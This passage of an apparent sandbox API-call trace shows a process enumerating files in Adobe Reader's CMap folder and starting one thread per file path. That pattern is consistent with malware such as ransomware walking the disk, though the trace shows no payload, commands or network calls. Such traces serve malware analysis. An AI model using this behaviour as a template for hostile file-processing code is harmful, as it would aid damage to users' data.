CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6b48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd0 [0167.495] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETenms-B5-H", cAlternateFileName="ETENMS~1")) returned 1 [0167.496] wcscmp (_String1="ETenms-B5-H", _String2=".") returned 1 [0167.496] wcscmp (_String1="ETenms-B5-H", _String2="..") returned 1 [0167.496] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7b98 [0167.496] wcscpy (in: _Dest=0x8e7b98, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.496] wcscat (in: _Dest=0x8e7b98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.496] wcscat (in: _Dest=0x8e7b98, _Source="ETenms-B5-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-H" [0167.496] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7b98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1628 [0167.497] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc89, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETenms-B5-V", cAlternateFileName="ETENMS~2")) returned 1 [0167.497] wcscmp (_String1="ETenms-B5-V", _String2=".") returned 1 [0167.497] wcscmp (_String1="ETenms-B5-V", _String2="..") returned 1 [0167.497] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x86) returned 0x8e7b08 [0167.497] wcscpy (in: _Dest=0x8e7b08, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.497] wcscat (in: _Dest=0x8e7b08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.497] wcscat (in: _Dest=0x8e7b08, _Source="ETenms-B5-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETenms-B5-V" [0167.497] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7b08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf14 [0167.498] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6017, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETHK-B5-H", cAlternateFileName="ETHK-B~1")) returned 1 [0167.498] wcscmp (_String1="ETHK-B5-H", _String2=".") returned 1 [0167.498] wcscmp (_String1="ETHK-B5-H", _String2="..") returned 1 [0167.498] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7178 [0167.498] wcscpy (in: _Dest=0x8e7178, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.499] wcscat (in: _Dest=0x8e7178, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.499] wcscat (in: _Dest=0x8e7178, _Source="ETHK-B5-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-H" [0167.499] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7178, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd28 [0167.500] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8e8c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ETHK-B5-V", cAlternateFileName="ETHK-B~2")) returned 1 [0167.500] wcscmp (_String1="ETHK-B5-V", _String2=".") returned 1 [0167.500] wcscmp (_String1="ETHK-B5-V", _String2="..") returned 1 [0167.500] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6a28 [0167.500] wcscpy (in: _Dest=0x8e6a28, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.500] wcscat (in: _Dest=0x8e6a28, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.500] wcscat (in: _Dest=0x8e6a28, _Source="ETHK-B5-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-V" [0167.500] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd24 [0167.501] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUC-H", cAlternateFileName="")) returned 1 [0167.501] wcscmp (_String1="EUC-H", _String2=".") returned 1 [0167.501] wcscmp (_String1="EUC-H", _String2="..") returned 1 [0167.501] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x8f7240 [0167.501] wcscpy (in: _Dest=0x8f7240, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.501] wcscat (in: _Dest=0x8f7240, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.501] wcscat (in: _Dest=0x8f7240, _Source="EUC-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-H" [0167.502] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd20 [0167.502] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd45, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUC-V", cAlternateFileName="")) returned 1 [0167.503] wcscmp (_String1="EUC-V", _String2=".") returned 1 [0167.503] wcscmp (_String1="EUC-V", _String2="..") returned 1 [0167.503] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x8f7818 [0167.503] wcscpy (in: _Dest=0x8f7818, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.503] wcscat (in: _Dest=0x8f7818, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.503] wcscat (in: _Dest=0x8f7818, _Source="EUC-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\EUC-V" [0167.503] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7818, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd1c [0167.504] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x403c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ext-RKSJ-H", cAlternateFileName="EXT-RK~1")) returned 1 [0167.504] wcscmp (_String1="Ext-RKSJ-H", _String2=".") returned 1 [0167.504] wcscmp (_String1="Ext-RKSJ-H", _String2="..") returned 1 [0167.504] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e67e8 [0167.504] wcscpy (in: _Dest=0x8e67e8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.504] wcscat (in: _Dest=0x8e67e8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.504] wcscat (in: _Dest=0x8e67e8, _Source="Ext-RKSJ-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-H" [0167.504] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e67e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd18 [0167.505] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa8bb60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe53, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ext-RKSJ-V", cAlternateFileName="EXT-RK~2")) returned 1 [0167.505] wcscmp (_String1="Ext-RKSJ-V", _String2=".") returned 1 [0167.505] wcscmp (_String1="Ext-RKSJ-V", _String2="..") returned 1 [0167.505] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e7298 [0167.506] wcscpy (in: _Dest=0x8e7298, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.506] wcscat (in: _Dest=0x8e7298, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.506] wcscat (in: _Dest=0x8e7298, _Source="Ext-RKSJ-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Ext-RKSJ-V" [0167.506] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd14 [0167.508] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x123d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB-EUC-H", cAlternateFileName="")) returned 1 [0167.509] wcscmp (_String1="GB-EUC-H", _String2=".") returned 1 [0167.509] wcscmp (_String1="GB-EUC-H", _String2="..") returned 1 [0167.509] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x8f7130 [0167.509] wcscpy (in: _Dest=0x8f7130, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.509] wcscat (in: _Dest=0x8f7130, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.509] wcscat (in: _Dest=0x8f7130, _Source="GB-EUC-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-H" [0167.509] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf10 [0167.510] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="GB-EUC-V", cAlternateFileName="")) returned 1 [0167.510] wcscmp (_String1="GB-EUC-V", _String2=".") returned 1 [0167.510] wcscmp (_String1="GB-EUC-V", _String2="..") returned 1 [0167.510] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x80) returned 0x8f8cd0 [0167.510] wcscpy (in: _Dest=0x8f8cd0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.510] wcscat (in: _Dest=0x8f8cd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.510] wcscat (in: _Dest=0x8f8cd0, _Source="GB-EUC-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GB-EUC-V" [0167.510] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8cd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf0c [0167.512] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80032fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15594, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK-EUC-H", cAlternateFileName="GBK-EU~1")) returned 1 [0167.512] wcscmp (_String1="GBK-EUC-H", _String2=".") returned 1 [0167.512] wcscmp (_String1="GBK-EUC-H", _String2="..") returned 1 [0167.512] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e65a8 [0167.512] wcscpy (in: _Dest=0x8e65a8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.512] wcscat (in: _Dest=0x8e65a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.512] wcscat (in: _Dest=0x8e65a8, _Source="GBK-EUC-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-H" [0167.512] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e65a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x724 [0167.513] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x39050, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK-EUC-UCS2", cAlternateFileName="GBK-EU~2")) returned 1 [0167.513] wcscmp (_String1="GBK-EUC-UCS2", _String2=".") returned 1 [0167.513] wcscmp (_String1="GBK-EUC-UCS2", _String2="..") returned 1 [0167.513] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e77a8 [0167.513] wcscpy (in: _Dest=0x8e77a8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.513] wcscat (in: _Dest=0x8e77a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.513] wcscat (in: _Dest=0x8e77a8, _Source="GBK-EUC-UCS2" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-UCS2") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-UCS2" [0167.513] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e77a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xef0 [0167.514] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK-EUC-V", cAlternateFileName="GBK-EU~3")) returned 1 [0167.514] wcscmp (_String1="GBK-EUC-V", _String2=".") returned 1 [0167.514] wcscmp (_String1="GBK-EUC-V", _String2="..") returned 1 [0167.514] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e8408 [0167.514] wcscpy (in: _Dest=0x8e8408, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.514] wcscat (in: _Dest=0x8e8408, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.515] wcscat (in: _Dest=0x8e8408, _Source="GBK-EUC-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-V" [0167.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeec [0167.516] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17840, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK2K-H", cAlternateFileName="")) returned 1 [0167.516] wcscmp (_String1="GBK2K-H", _String2=".") returned 1 [0167.516] wcscmp (_String1="GBK2K-H", _String2="..") returned 1 [0167.516] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f7460 [0167.516] wcscpy (in: _Dest=0x8f7460, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.516] wcscat (in: _Dest=0x8f7460, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.516] wcscat (in: _Dest=0x8f7460, _Source="GBK2K-H" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-H") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-H" [0167.516] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xee8 [0167.517] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: lpFindFileData=0x9679e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80059100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe55, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBK2K-V", cAlternateFileName="")) returned 1 [0167.517] wcscmp (_String1="GBK2K-V", _String2=".") returned 1 [0167.517] wcscmp (_String1="GBK2K-V", _String2="..") returned 1 [0167.517] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7e) returned 0x8f8de0 [0167.517] wcscpy (in: _Dest=0x8f8de0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" [0167.517] wcscat (in: _Dest=0x8f8de0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\" [0167.517] wcscat (in: _Dest=0x8f8de0, _Source="GBK2K-V" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-V") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK2K-V" [0167.517] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8de0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6dc [0167.518] FindNextFileW (in: hFindFile=0x942a70, lpFindFileData=0x9679e8 | out: 